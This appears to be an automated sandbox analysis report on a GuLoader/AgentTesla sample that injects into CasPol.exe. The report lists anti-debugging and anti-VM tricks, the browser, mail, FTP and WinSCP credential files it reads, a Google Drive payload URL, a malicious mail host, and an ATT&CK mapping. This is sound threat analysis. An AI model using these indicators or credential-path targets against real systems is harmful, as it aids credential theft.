Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

System information queried: ModuleInformation

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	API call chain: ExitProcess graph end node

Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E
Source: CasPol.exe, 00000003.00000002.20371041773.0000000000E53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000003.00000003.15865384687.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17013199114.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20371570686.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15971915089.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dll
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exep
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_71311BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_033CCB37 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3F47 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FB4 mov ebx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D93AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FA0 mov ebx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0388 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D660E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3E0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3E6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3EFF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3DE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D8DDC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4012 mov ebx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4081 mov ebx, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 3_2_00ADB910 LdrInitializeThunk,

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: BC0000

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3292, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3292, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3292, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	1 Windows Service	1 Access Token Manipulation	1 Obfuscated Files or Information	1 Credentials in Registry	117 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Windows Service	1 DLL Side-Loading	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	111 Process Injection	341 Virtualization/Sandbox Evasion	NTDS	431 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	124 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	111 Process Injection	Cached Domain Credentials	341 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FRACCIONAMIENTO 1722403906461L.exe	28%	Virustotal		Browse
FRACCIONAMIENTO 1722403906461L.exe	13%	ReversingLabs	Win32.Downloader.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3.crl0	0%	Virustotal		Browse
http://www.certplus.com/CRL/class3.crl0	0%	Avira URL Cloud	safe
http://www.e-me.lv/repository0	1%	Virustotal		Browse
http://www.e-me.lv/repository0	0%	Avira URL Cloud	safe
http://www.acabogacia.org/doc0	0%	Virustotal		Browse
http://www.acabogacia.org/doc0	0%	Avira URL Cloud	safe
http://crl.chambersign.org/chambersroot.crl0	0%	Avira URL Cloud	safe
http://ocsp.suscerte.gob.ve0	0%	Avira URL Cloud	safe
http://www.postsignum.cz/crl/psrootqca2.crl02	0%	Avira URL Cloud	safe
http://crl.dhimyotis.com/certignarootca.crl0	0%	Avira URL Cloud	safe
http://www.mesince.com/policy/0	0%	Avira URL Cloud	safe
http://www.chambersign.org1	0%	Avira URL Cloud	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	Avira URL Cloud	safe
http://www.suscerte.gob.ve/lcr0#	0%	Avira URL Cloud	safe
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	Avira URL Cloud	safe
http://postsignum.ttc.cz/crl/psrootqca2.crl0	0%	Avira URL Cloud	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	Avira URL Cloud	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	Avira URL Cloud	safe
http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3P.crl0	0%	Avira URL Cloud	safe
http://GeLRtI.com	0%	Avira URL Cloud	safe
http://www.suscerte.gob.ve/dpc0	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crl0	0%	Avira URL Cloud	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	Avira URL Cloud	safe
http://www.defence.gov.au/pki0	0%	Avira URL Cloud	safe
http://www.sk.ee/cps/0	0%	Avira URL Cloud	safe
http://www.globaltrust.info0=	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	Avira URL Cloud	safe
http://policy.camerfirma.com0	0%	Avira URL Cloud	safe
http://www.ssc.lt/cps03	0%	Avira URL Cloud	safe
http://ocsp.pki.gva.es0	0%	Avira URL Cloud	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	0%	Avira URL Cloud	safe
http://ca.mtin.es/mtin/ocsp0	0%	Avira URL Cloud	safe
http://cps.letsencrypt.org0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	Avira URL Cloud	safe
http://web.ncdc.gov.sa/crl/nrcacomb1.crl0	0%	Avira URL Cloud	safe
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	0%	Avira URL Cloud	safe
https://wwww.certigna.fr/autorites/0m	0%	Avira URL Cloud	safe
http://www.dnie.es/dpc0	0%	Avira URL Cloud	safe
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	Avira URL Cloud	safe
http://ca.mtin.es/mtin/DPCyPoliticas0	0%	Avira URL Cloud	safe
http://www.globaltrust.info0	0%	Avira URL Cloud	safe
http://ac.economia.gob.mx/last.crl0G	0%	Avira URL Cloud	safe
https://www.catcert.net/verarrel	0%	Avira URL Cloud	safe
http://www.disig.sk/ca0f	0%	Avira URL Cloud	safe
http://www.sk.ee/juur/crl/0	0%	Avira URL Cloud	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	Avira URL Cloud	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	Avira URL Cloud	safe
http://certs.oati.net/repository/OATICA2.crl0	0%	Avira URL Cloud	safe
http://crl.oces.trust2408.com/oces.crl0	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-a/cacrl.crl0	0%	Avira URL Cloud	safe
http://jimmac.musichall.czif	0%	Avira URL Cloud	safe
http://certs.oaticerts.com/repository/OATICA2.crl	0%	Avira URL Cloud	safe
http://www.trustdst.com/certificates/policy/ACES-index.html0	0%	Avira URL Cloud	safe
http://certs.oati.net/repository/OATICA2.crt0	0%	Avira URL Cloud	safe
http://www.accv.es00	0%	Avira URL Cloud	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	Avira URL Cloud	safe
https://www.netlock.net/docs	0%	Avira URL Cloud	safe
http://www.e-trust.be/CPS/QNcerts	0%	Avira URL Cloud	safe
http://ocsp.ncdc.gov.sa0	0%	Avira URL Cloud	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	Avira URL Cloud	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	Avira URL Cloud	safe
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	0%	Avira URL Cloud	safe
http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;	0%	Avira URL Cloud	safe
http://mail.ferdi.hu	0%	Avira URL Cloud	safe
https://repository.luxtrust.lu0	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	Avira URL Cloud	safe
http://www.acabogacia.org0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.174	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.97	true	false	high
mail.ferdi.hu	185.51.191.23	true	true	unknown
doc-0c-74-docs.googleusercontent.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.certplus.com/CRL/class3.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.e-me.lv/repository0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.acabogacia.org/doc0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.chambersign.org/chambersroot.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.suscerte.gob.ve0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.postsignum.cz/crl/psrootqca2.crl02	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/ce.a2	CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl0	CasPol.exe, 00000003.00000003.17281550265.00000000201D7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mesince.com/policy/0	FRACCIONAMIENTO 1722403906461L.exe	false	Avira URL Cloud: safe	unknown
http://www.chambersign.org1	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pkioverheid.nl/policies/root-policy0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.suscerte.gob.ve/lcr0#	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ssc.lt/root-c/cacrl.crl0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://postsignum.ttc.cz/crl/psrootqca2.crl0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca.disig.sk/ca/crl/ca_disig.crl0	CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	CasPol.exe, 00000003.00000003.16839976993.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782400609.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16240989645.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16999808542.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16506792862.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161065605.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16928461959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15817800617.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16692720156.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723729253.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060307959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16302066204.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16364711225.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970356224.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://GeLRtI.com	CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.suscerte.gob.ve/dpc0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
